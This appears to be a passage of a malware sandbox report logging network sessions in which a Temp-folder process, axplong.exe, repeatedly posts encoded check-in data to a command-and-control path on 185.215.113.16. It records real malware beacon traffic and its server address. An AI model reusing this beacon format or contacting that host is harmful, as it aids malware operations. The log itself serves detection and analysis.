Sep 27, 2024 17:42:26.708297014 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:42:27.003106117 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49787	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:42:27.129723072 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:42:27.951656103 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:42:27.952778101 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:42:28.227019072 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49790	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:42:28.342701912 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:42:29.073491096 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:42:29.074568033 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:42:29.298993111 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49791	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:42:29.420056105 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:42:30.183695078 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:42:30.184762001 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:42:30.460691929 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49794	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:42:30.580265045 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:42:31.323282957 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:42:31.325284958 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:42:31.550769091 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:42:31.624974012 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:42:31.844080925 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49797	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:42:31.967492104 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:42:32.714004993 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:42:32.715043068 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:42:32.979856968 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49802	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:42:33.122531891 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:42:33.378901005 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:42:33.943217039 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:42:33.944351912 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:42:34.340359926 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49805	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:42:34.548861027 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:42:35.274259090 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:42:35.275623083 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:42:35.504559994 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49808	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:42:35.620328903 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:42:36.327580929 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:42:36.345884085 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:42:36.586858988 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49809	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:42:36.697875023 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:42:37.483922005 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:42:37.484781981 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:42:37.731792927 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49812	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:42:37.858397961 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:42:38.553558111 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:42:38.570581913 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:42:38.802301884 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49814	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:42:38.932248116 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:42:39.675354004 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:42:39.684696913 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:42:39.907602072 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49817	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:42:40.078653097 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
